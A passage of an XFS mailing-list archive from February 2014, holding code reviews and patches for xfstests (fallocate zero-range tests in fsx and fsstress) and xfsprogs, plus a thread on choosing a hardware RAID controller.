ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 06:31:19 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIOBp-00023f-Oo; Wed, 26 Feb 2014 07:01:17 +1100 Date: Wed, 26 Feb 2014 07:01:17 +1100 From: Dave Chinner To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 1/6] generic/290: Add test for fallocate zero range Message-ID: <20140225200117.GY13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/6] generic/290: Add test for fallocate zero range References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393355728-12056-1-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393358480 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145507 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Tue, Feb 25, 2014 at 08:15:23PM +0100, Lukas Czerner wrote: > Signed-off-by: Lukas Czerner You need a commit message that describes the test.... > --- > common/rc | 14 +++++++ > tests/generic/290 | 92 ++++++++++++++++++++++++++++++++++++++++++ > tests/generic/290.out | 109 ++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/generic/group | 1 + > 4 files changed, 216 insertions(+) > create mode 100755 tests/generic/290 > create mode 100644 tests/generic/290.out > > diff --git a/common/rc b/common/rc > index f2c3c3a..d3ec4db 100644 > --- a/common/rc > +++ b/common/rc > @@ -1359,6 +1359,20 @@ _require_xfs_io_fiemap() > _notrun "xfs_io fiemap command failed (no fs support?)" > } > > +# check that xfs_io, kernel and filesystem all support fallocate with zero > +# range > +_require_xfs_io_falloc_zero() > +{ > + testfile=$TEST_DIR/$$.falloc > + testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ > + -c "fzero 4k 8k" $testfile 2>&1` > + rm -f $testfile 2>&1 > /dev/null > + echo $testio | grep -q "not found" && \ > + _notrun "xfs_io fallocate zero range support is missing" > + echo $testio | grep -q "Operation not supported" && \ > + _notrun "xfs_io fallocate fzero command failed (no fs support?)" > +} > + Ok, we've now got 4 or 5 copies of this same set of tests for different fallocate commands. Please factor. > # Check that a fs has enough free space (in 1024b blocks) > # > _require_fs_space() > diff --git a/tests/generic/290 b/tests/generic/290 > new file mode 100755 > index 0000000..90f560a > --- /dev/null > +++ b/tests/generic/290 > @@ -0,0 +1,92 @@ > +#! /bin/bash > +# FS QA Test No. 290 > +# > +# Makes calls to fallocate zero range and checks tossed ranges > +# > +# Nothing should be tossed unless the range includes a page boundry > +# > +# Primarily tests page boundries and boundries that are > +# off-by-one to ensure we're only tossing what's expected > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2012 SGI. All Rights Reserved. Really? Oh, it's a direct copy-n-paste of the XFS_IOC_ZERO_RANGE test with s/zero/fzero/. Please factor along the same lines as _generic_test_punch so we don't have duplicated code in the tests. Also, I haven't seen patches 3, 4 or 6 on the list, and they haven't made it to the archive, either. Can you please resend them? Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 14:03:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 769C07F50 for ; Tue, 25 Feb 2014 14:03:36 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3CACC304071 for ; Tue, 25 Feb 2014 12:03:33 -0800 (PST) X-ASG-Debug-ID: 1393358612-04bdf05da9375d0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 4EQ3ijb0erGPH3KY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 12:03:32 -0800 (PST) X-Barracuda-Envelope-From: BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WIOE0-0005rt-3c; Tue, 25 Feb 2014 20:03:32 +0000 Date: Tue, 25 Feb 2014 12:03:32 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 06/10] repair: use a listhead for the dotdot list Message-ID: <20140225200332.GB22351@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 06/10] repair: use a listhead for the dotdot list References: <1393223369-4696-1-git-send-email-david@fromorbit.com> <1393223369-4696-7-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393223369-4696-7-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1393358612 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145507 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 24, 2014 at 05:29:25PM +1100, Dave Chinner wrote: > From: Dave Chinner > > Cleanup suggested by Christoph Hellwig - removes another open coded > list implementation. Looks good. Question for both the old and new code: any good reason to do the dotdot updates LIFO? If yes it might be worth adding a comment about that fact. Reviewed-by: Christoph Hellwig From BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 14:06:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0E4817F50 for ; Tue, 25 Feb 2014 14:06:00 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A3153AC001 for ; Tue, 25 Feb 2014 12:05:59 -0800 (PST) X-ASG-Debug-ID: 1393358758-04cb6c5675347e0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id LXZuOgmv2yttrQ6m (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 12:05:58 -0800 (PST) X-Barracuda-Envelope-From: BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WIOGM-00073X-53; Tue, 25 Feb 2014 20:05:58 +0000 Date: Tue, 25 Feb 2014 12:05:58 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 08/10] libxfs: remove a couple of locks Message-ID: <20140225200558.GC22351@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 08/10] libxfs: remove a couple of locks References: <1393223369-4696-1-git-send-email-david@fromorbit.com> <1393223369-4696-9-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393223369-4696-9-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1393358758 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145507 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS So what's protecting the cache hits statistics now? Longer term it might make sense to just port the XFS buffercache from the kernel to libxfs.. From BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 14:08:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7F7CC7F50 for ; Tue, 25 Feb 2014 14:08:07 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 20EEEAC001 for ; Tue, 25 Feb 2014 12:08:07 -0800 (PST) X-ASG-Debug-ID: 1393358885-04bdf05da9378b0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id g6llnBa8YC56bhHq (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 12:08:05 -0800 (PST) X-Barracuda-Envelope-From: BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WIOIP-00078O-Fx; Tue, 25 Feb 2014 20:08:05 +0000 Date: Tue, 25 Feb 2014 12:08:05 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 09/10] repair: fix prefetch queue limiting Message-ID: <20140225200805.GD22351@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 09/10] repair: fix prefetch queue limiting References: <1393223369-4696-1-git-send-email-david@fromorbit.com> <1393223369-4696-10-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393223369-4696-10-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1393358885 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145507 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Great, most other posix realtime functions actually do return the errno, but this one doesn't. This would really be a useful check for some sort of semantic checker tool in userspace. This bug has been there since day 1 of the sem_trywait call btw, so it never really worked. Reviewed-by: Christoph Hellwig From stan@hardwarefreak.com Tue Feb 25 14:08:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=LOTS_OF_MONEY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EAC947F50 for ; Tue, 25 Feb 2014 14:08:47 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9DBDC8F804C for ; Tue, 25 Feb 2014 12:08:47 -0800 (PST) X-ASG-Debug-ID: 1393358926-04bdf05daa37950001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id 4dTMlhE3jEwHiH8w for ; Tue, 25 Feb 2014 12:08:46 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id BEC7C6C169; Tue, 25 Feb 2014 14:08:45 -0600 (CST) Message-ID: <530CF84C.2080200@hardwarefreak.com> Date: Tue, 25 Feb 2014 14:08:44 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: "C. Morgan Hamill" CC: xfs Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <52E91923.4070706@sandeen.net> <52EB3B96.7000103@hardwarefreak.com> <1391202273-sup-9265@al.wesleyan.edu> <52ED61C9.8060504@hardwarefreak.com> <20140202212152.GP2212@dastard> <1391443675-sup-1730@al.wesleyan.edu> <20140203214128.GR13997@dastard> <52F09E36.8050606@hardwarefreak.com> <1392748390-sup-1943@al.wesleyan.edu> <5303E7AC.50903@hardwarefreak.com> <20140220183125.29149.64880@al.wesleyan.edu> <5306C90B.1000904@hardwarefreak.com> <20140221095742.0ca161b0@galadriel.home> <530809A7.70900@hardwarefreak.com> <1393347755-sup-205@al.wesleyan.edu> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <1393347755-sup-205@al.wesleyan.edu> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1393358926 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/25/2014 11:04 AM, C. Morgan Hamill wrote: > Excerpts from Stan Hoeppner's message of 2014-02-21 21:21:27 -0500: >> Now, it's possible he could do this entirely in the RAID firmware. >> However he has not stated which storage product he has, and thus I don't >> know its capabilities, whether it can create or seamlessly expand a >> concatenation. Linux md can do all of this very easily and is deployed >> by many people in this exact scenario. > > On this note, I'm using an Areca ARC-1882. I've been looking for > documentation regarding concatenation with this, and having a bit of > trouble. > > Do you happen to be familiar with the product? Only enough to recommend you to replace it immediately with an LSI or Adaptec. Areca is an absolutely tiny Taiwanese company with inferior product and, from what I gather, horrible support for North American customers, and Linux customers in general. The vast majority of their customers seem to be SOHOs and individuals using the boards in MS Windows servers, with very few running more than a handful of drives, and few running lots of drives doing serious work. If you run into any kind of performance issue with their board, and explain to them your number of drives and arrays, OS platform and workload, they'll be baffled like a 3rd grader and have no idea how to respond. The odd thing is that this isn't reflected in the price of their products, which are not substantially less money than the best of breed LSI boards, which come with LSI's phenomenal support structure. And there are plenty of LSI Linux customers running hundreds of drives with real workloads. Areca has no real presence North America, or any country for that matter. They're headquartered in Taiwan and have a "global office" there. Speaking of their "North American support", their ~1000 ft^2 office is in an industrial park in Walnut Grove, CA, directly across the street from "Steve's Refrigeration Supply". Check out the Google street view for their office address, 150 Commerce Way, Walnut, CA 91789 Now let's have a look at LSI's North American presence. http://www.lsi.com/northamerica/pages/northamerica.aspx#tab/tab-contactus Now lets look at prices for the ARC-1882 and LSI's fastest 8P card. Areca ARC-1882I PCIe 2.0/3.0 x8, 1GB DDR3-1333, 800 MHz Dual Core RAID-on-Chip ASIC, 2x SFF-8088 6G SAS, supports 128 drives http://www.newegg.com/Product/Product.aspx?Item=N82E16816151105 $620 Battery Backed Write Cache module, 72hr max backup time, ARC-6120-T121 $130 Solution cost: $750 LSI 9361-8i PCIe 3.0 x8, 1GB DDR3-1866, 1.2GHz LSISAS3108 dual core RAID-On-Chip ASIC, 2x SFF-8643 12G SAS, supports 128 drives http://www.newegg.com/Product/Product.aspx?Item=N82E16816118230 $570 Flash Backed Write Cache module, LSICVM02, unlimited backup time http://www.newegg.com/Product/Product.aspx?Item=N82E16816118232 $190 Solution cost: $760 The Areca uses inferior older technology, has inferior performance, limited firmware feature set which doesn't support spans (concatenation), near non-existent US support especially for advanced Linux workloads/users, only offers battery cache backup, and is all of ... $10 USD cheaper than the category equivalent yet vastly superior LSI. By some off chance you don't already know, LSI is the industry gold standard RAID HBA. They are the sole RAID HBA OEM board supplier to Dell, IBM, Intel, Lenovo, Fujitsu/Siemens, etc, and their ASICs are used by many others on their in house designs. LSI's ASICs and firmware have seen more Linux workloads of all shapes and sizes than all other vendors' RAID HBAs combined. Given all of the above, and that there are at least 3 other LSI boards of superior performance, in the same price range for the past year, why did you go with Areca? -- Stan From lczerner@redhat.com Tue Feb 25 14:11:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 567BC7F50 for ; Tue, 25 Feb 2014 14:11:41 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E359DAC003 for ; Tue, 25 Feb 2014 12:11:40 -0800 (PST) X-ASG-Debug-ID: 1393359098-04cbb066e637c10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id OO5A6hP6JI8s3DUD for ; Tue, 25 Feb 2014 12:11:39 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1PKBaGj012315 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Feb 2014 15:11:38 -0500 Received: from localhost.localdomain.com (vpn1-4-133.ams2.redhat.com [10.36.4.133]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1PJFTa6013764; Tue, 25 Feb 2014 14:15:37 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Lukas Czerner Subject: [PATCH 3/6] xfstests: fsstress punch should always have FALLOC_FL_KEEP_SIZE set Date: Tue, 25 Feb 2014 20:15:25 +0100 X-ASG-Orig-Subj: [PATCH 3/6] xfstests: fsstress punch should always have FALLOC_FL_KEEP_SIZE set Message-Id: <1393355728-12056-3-git-send-email-lczerner@redhat.com> In-Reply-To: <1393355728-12056-1-git-send-email-lczerner@redhat.com> References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393359099 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Signed-off-by: Lukas Czerner --- ltp/fsstress.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ltp/fsstress.c b/ltp/fsstress.c index 4c3368f..42c8a5a 100644 --- a/ltp/fsstress.c +++ b/ltp/fsstress.c @@ -2555,8 +2555,8 @@ punch_f(int opno, long r) off = (off64_t)(lr % MIN(stb.st_size + (1024 * 1024), MAXFSIZE)); off %= maxfsize; len = (off64_t)(random() % (1024 * 1024)); - mode |= FALLOC_FL_KEEP_SIZE & random(); e = fallocate(fd, mode, (loff_t)off, (loff_t)len) < 0 ? errno : 0; + mode |= FALLOC_FL_KEEP_SIZE; if (v) printf("%d/%d: punch hole(%d) %s %s %lld %lld %d\n", procid, opno, mode, -- 1.8.3.1 From lczerner@redhat.com Tue Feb 25 14:11:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3FFD97F56 for ; Tue, 25 Feb 2014 14:11:43 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id DB802AC003 for ; Tue, 25 Feb 2014 12:11:42 -0800 (PST) X-ASG-Debug-ID: 1393359101-04bdf05daa37b80001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id b8Ib9uvgeOLKDk2r for ; Tue, 25 Feb 2014 12:11:41 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1PKBaGl012315 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Feb 2014 15:11:41 -0500 Received: from localhost.localdomain.com (vpn1-4-133.ams2.redhat.com [10.36.4.133]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1PJFTa7013764; Tue, 25 Feb 2014 14:15:39 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Lukas Czerner Subject: [PATCH 4/6] xfstests: Add fallocate zero range operation to fsx Date: Tue, 25 Feb 2014 20:15:26 +0100 X-ASG-Orig-Subj: [PATCH 4/6] xfstests: Add fallocate zero range operation to fsx Message-Id: <1393355728-12056-4-git-send-email-lczerner@redhat.com> In-Reply-To: <1393355728-12056-1-git-send-email-lczerner@redhat.com> References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393359101 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Signed-off-by: Lukas Czerner --- ltp/fsx.c | 110 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 107 insertions(+), 3 deletions(-) diff --git a/ltp/fsx.c b/ltp/fsx.c index 2f1e3e8..b3c30db 100644 --- a/ltp/fsx.c +++ b/ltp/fsx.c @@ -72,6 +72,7 @@ int logcount = 0; /* total ops */ * TRUNCATE: - 4 * FALLOCATE: - 5 * PUNCH HOLE: - 6 + * ZERO RANGE: - 7 * * When mapped read/writes are disabled, they are simply converted to normal * reads and writes. When fallocate/fpunch calls are disabled, they are @@ -95,7 +96,8 @@ int logcount = 0; /* total ops */ #define OP_TRUNCATE 4 #define OP_FALLOCATE 5 #define OP_PUNCH_HOLE 6 -#define OP_MAX_FULL 7 +#define OP_ZERO_RANGE 7 +#define OP_MAX_FULL 8 /* operation modifiers */ #define OP_CLOSEOPEN 100 @@ -142,6 +144,7 @@ int seed = 1; /* -S flag */ int mapped_writes = 1; /* -W flag disables */ int fallocate_calls = 1; /* -F flag disables */ int punch_hole_calls = 1; /* -H flag disables */ +int zero_range_calls = 1; /* -E flag disables */ int mapped_reads = 1; /* -R flag disables it */ int fsxgoodfd = 0; int o_direct; /* -Z */ @@ -320,6 +323,14 @@ logdump(void) lp->args[0] + lp->args[1]) prt("\t******PPPP"); break; + case OP_ZERO_RANGE: + prt("ZERO 0x%x thru 0x%x\t(0x%x bytes)", + lp->args[0], lp->args[0] + lp->args[1] - 1, + lp->args[1]); + if (badoff >= lp->args[0] && badoff < + lp->args[0] + lp->args[1]) + prt("\t******ZZZZ"); + break; case OP_SKIPPED: prt("SKIPPED (no operation)"); break; @@ -882,6 +893,64 @@ do_punch_hole(unsigned offset, unsigned length) } #endif +#ifdef FALLOC_FL_ZERO_RANGE +void +do_zero_range(unsigned offset, unsigned length) +{ + unsigned end_offset; + int max_offset = 0; + int max_len = 0; + int mode = FALLOC_FL_ZERO_RANGE; + + if (length == 0) { + if (!quiet && testcalls > simulatedopcount) + prt("skipping zero length zero range\n"); + log4(OP_SKIPPED, OP_ZERO_RANGE, offset, length); + return; + } + + if (file_size <= (loff_t)offset) { + if (!quiet && testcalls > simulatedopcount) + prt("skipping zero range off the end of the file\n"); + log4(OP_SKIPPED, OP_ZERO_RANGE, offset, length); + return; + } + + end_offset = offset + length; + + log4(OP_ZERO_RANGE, offset, length, 0); + + if (testcalls <= simulatedopcount) + return; + + if ((progressinterval && testcalls % progressinterval == 0) || + (debug && (monitorstart == -1 || monitorend == -1 || + end_offset <= monitorend))) { + prt("%lu zero\tfrom 0x%x to 0x%x, (0x%x bytes)\n", testcalls, + offset, offset+length, length); + } + if (fallocate(fd, mode, (loff_t)offset, (loff_t)length) == -1) { + prt("%pzero range: %x to %x\n", offset, length); + prterr("do_zero_range: fallocate"); + report_failure(161); + } + + + max_offset = offset < file_size ? offset : file_size; + max_len = max_offset + length <= file_size ? length : + file_size - max_offset; + memset(good_buf + max_offset, '\0', max_len); +} + +#else +void +do_zero_range(unsigned offset, unsigned length) +{ + return; +} +#endif + + #ifdef FALLOCATE /* fallocate is basically a no-op unless extending, then a lot like a truncate */ void @@ -1050,6 +1119,12 @@ test(void) goto out; } break; + case OP_ZERO_RANGE: + if (!zero_range_calls) { + log4(OP_SKIPPED, OP_ZERO_RANGE, offset, size); + goto out; + } + break; } switch (op) { @@ -1088,6 +1163,10 @@ test(void) TRIM_OFF_LEN(offset, size, file_size); do_punch_hole(offset, size); break; + case OP_ZERO_RANGE: + TRIM_OFF_LEN(offset, size, file_size); + do_zero_range(offset, size); + break; default: prterr("test: unknown operation"); report_failure(42); @@ -1143,7 +1222,10 @@ usage(void) " -F: Do not use fallocate (preallocation) calls\n" #endif #ifdef FALLOC_FL_PUNCH_HOLE -" -H: Do not use punch hole calls\n" +" -H: Do not use punch hole calls\n" +#endif +#ifdef FALLOC_FL_ZERO_RANGE +" -E: Do not use zero range calls\n" #endif " -L: fsxLite - no file creations & no file size changes\n\ -N numops: total # operations to do (default infinity)\n\ @@ -1330,6 +1412,24 @@ test_punch_hole() #endif } +void +test_zero_range() +{ +#ifdef FALLOC_FL_ZERO_RANGE + if (!lite && zero_range_calls) { + if (fallocate(fd, FALLOC_FL_ZERO_RANGE, + 0, 1) && errno == EOPNOTSUPP) { + if(!quiet) + warn("main: filesystem does not support fallocate zero range, disabling"); + zero_range_calls = 0; + } else + ftruncate(fd, 0); + } +#else /* ! ZERO RANGE */ + zero_range_calls = 0; +#endif +} + int main(int argc, char **argv) { @@ -1348,7 +1448,7 @@ main(int argc, char **argv) setvbuf(stdout, (char *)0, _IOLBF, 0); /* line buffered stdout */ - while ((ch = getopt(argc, argv, "b:c:dfl:m:no:p:qr:s:t:w:xyAD:FHLN:OP:RS:WZ")) + while ((ch = getopt(argc, argv, "b:c:dfl:m:no:p:qr:s:t:w:xyAD:FHELN:OP:RS:WZ")) != EOF) switch (ch) { case 'b': @@ -1448,6 +1548,9 @@ main(int argc, char **argv) case 'H': punch_hole_calls = 0; break; + case 'E': + zero_range_calls = 0; + break; case 'L': lite = 1; break; @@ -1595,6 +1698,7 @@ main(int argc, char **argv) test_fallocate(); test_punch_hole(); + test_zero_range(); while (numops == -1 || numops--) 